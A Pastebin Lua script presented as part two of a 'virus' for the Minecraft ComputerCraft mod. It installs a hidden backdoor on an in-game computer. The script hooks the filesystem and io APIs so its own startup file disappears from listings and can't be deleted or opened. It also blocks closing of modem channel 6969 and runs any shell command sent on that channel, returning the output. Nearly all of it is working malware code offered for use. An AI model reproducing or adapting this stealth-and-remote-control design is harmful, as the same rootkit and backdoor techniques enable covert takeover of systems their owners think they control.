Advertisement
Piorjade

ComputerCraft "Virus" - Part 2 [FIXED]

Jan 6th, 2018
146
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 5.20 KB | None | 0 0
  1. --PLEASE RUN THE FIRST PART ON THE COMPUTER (pastebin run QzCdJgbn)
  2. --
  3. --HOW TO USE:
  4. --  * Use another computer and wrap the modem using the peripheral API (RedNet does not work)
  5. --  * Send shell commands on channel 6969 and have fun!
  6. --
  7. --This is where the fun begins, part 2 of the "virus".
  8. --What it does / TODO:
  9. --  * Run TLCO to get to the top level
  10. --  * Modify fs API to not show myself and identify "/newStartup" as "/startup"
  11. --  * Act as a loop "parent" to CraftOS shell
  12. --  * Actually add another step to the normal loop, containing the code that listens for remote commands and hide these modem messages from every other coroutine
  13. --  * Run the harmless /startup (if there is one)
  14. --
  15. --Problems with this that I can't avoid:
  16. --  * The modem lights up which might look a bit obvious
  17. --  * You can't create a file called /newStartup and trying to interact with it just throws custom errors
  18. --
  19. --THINGS I WILL NOT ADD/FIX (but are pretty easy to do though):
  20. --  * Inserting a disk with a startup file prevents the virus from running (because on default settings, computers run the floppy disk startup file first)
  21.  
  22. --Run TLCO
  23.  
  24. local oldError = _G.printError
  25. local ev = {}
  26. function _G.printError()
  27.    
  28.     _G.printError = oldError
  29.  
  30.     local oldList = _G.fs.list
  31.     local oldExists = _G.fs.exists
  32.     local oldMove = _G.fs.move
  33.     local oldCopy = _G.fs.copy
  34.     local oldDelete = _G.fs.delete
  35.     local oldOpen = _G.fs.open
  36.     local oldFind = _G.fs.find
  37.     local oldIOOpen = _G.io.open
  38.     function _G.fs.list(path)
  39.         if path == "" or path == "/" then
  40.             local files = oldList(path)
  41.             local removeIndex = -1
  42.             local moveIndex = -1
  43.             for each, file in ipairs(files) do
  44.                 if file == "startup" then
  45.                     --This is the "virus"
  46.                     removeIndex = each
  47.                 elseif file == "newStartup" then
  48.                     moveIndex = each
  49.                 end
  50.             end
  51.             if removeIndex > 0 then
  52.                 table.remove(files, removeIndex)
  53.             end
  54.             if moveIndex > 0 then files[moveIndex] = "startup" end
  55.             return files
  56.         else
  57.             return oldList(path)
  58.         end
  59.     end
  60.    
  61.     function _G.fs.exists(path)
  62.         if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
  63.         if path == "/newStartup" then
  64.             return false
  65.         elseif path == "/startup" then
  66.             return oldExists("/newStartup")
  67.         else
  68.             return oldExists(path)
  69.         end
  70.     end
  71.  
  72.     function _G.fs.move(op, np)
  73.         if string.sub(op, 1, 1) ~= "/" then op = "/"..op end
  74.         if string.sub(np, 1, 1) ~= "/" then np = "/"..np end
  75.         if op == "/newStartup" or np == "/newStartup" then
  76.             return
  77.         elseif op == "/startup" then
  78.             if np == "/startup" then np = "/newStartup" end
  79.             return oldMove("/newStartup", np)
  80.         elseif np == "/startup" then
  81.             if op == "/startup" then op = "/newStartup" end
  82.             return oldMove(op, "/newStartup")
  83.         else
  84.             return oldMove(op, np)
  85.         end
  86.     end
  87.  
  88.     function _G.fs.copy(op, np)
  89.         if string.sub(op, 1, 1) ~= "/" then op = "/"..op end
  90.         if string.sub(np, 1, 1) ~= "/" then np = "/"..np end
  91.         if op == "/newStartup" or np == "/newStartup" then
  92.             return
  93.         elseif op == "/startup" then
  94.             if np == "/startup" then np = "/newStartup" end
  95.             return oldCopy("/newStartup", np)
  96.         elseif np == "/startup" then
  97.             if op == "/startup" then op = "/newStartup" end
  98.             return oldCopy(op, "/newStartup")
  99.         else
  100.             return oldCopy(op, np)
  101.         end
  102.     end
  103.    
  104.     function _G.fs.delete(path)
  105.         if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
  106.         if path == "/startup" then
  107.             return oldDelete("/newStartup")
  108.         elseif path == "/newStartup" then
  109.             return
  110.         else
  111.             return oldDelete(path)
  112.         end
  113.     end
  114.  
  115.     function _G.fs.open(path, mode)
  116.         if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
  117.         if path == "/startup" then
  118.             return oldOpen("/newStartup", mode)
  119.         elseif path == "/newStartup" then
  120.             return nil, "internal error"
  121.         else
  122.             return oldOpen(path, mode)
  123.         end
  124.     end
  125.  
  126.     function _G.io.open(path, mode)
  127.         if string.sub(path, 1, 1) ~= "/" then path = "/"..path end
  128.         if path == "/startup" then
  129.             return oldIOOpen("/newStartup", mode)
  130.         elseif path == "/newStartup" then
  131.             return nil, "internal error"
  132.         else
  133.             return oldIOOpen(path, mode)
  134.         end
  135.     end
  136.     local modem = peripheral.find("modem")
  137.     --Disallow closing the channel
  138.     if modem then
  139.         local oldModemClose = _G.modem.close
  140.         function _G.modem.close(port)
  141.             if port == 6969 then
  142.                 return
  143.             else
  144.                 return oldModemClose(port)
  145.             end
  146.         end
  147.     end
  148.  
  149.  
  150.    
  151.     if modem then
  152.         --If no modem is attached, still hide myself and just not listen for any messages
  153.         modem.open(6969) --Very funny
  154.     end
  155.     local shellRoutine = coroutine.create(function()
  156.         os.run({}, "rom/programs/advanced/multishell")
  157.         os.run({}, "rom/programs/shutdown")
  158.     end)
  159.     local rednetRoutine = coroutine.create(function()
  160.         rednet.run()
  161.     end)
  162.     while true do
  163.         --just in case
  164.         if modem and not modem.isOpen(6969) then modem.open(6969) end
  165.         if modem and #ev > 0 and ev[1] == "modem_message" and ev[3] == 6969 then
  166.             local success = shell.run(ev[5])
  167.             modem.transmit(ev[4], 6969, tostring(success))
  168.             ev = {}
  169.         end
  170.         pcall(coroutine.resume, shellRoutine, unpack(ev))
  171.         pcall(coroutine.resume, rednetRoutine, unpack(ev))
  172.         if coroutine.status(shellRoutine) == "dead" then
  173.             os.reboot()
  174.         end
  175.         ev = {os.pullEventRaw()}
  176.     end
  177. end
  178.  
  179. --Aaaand go
  180. os.queueEvent("terminate")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement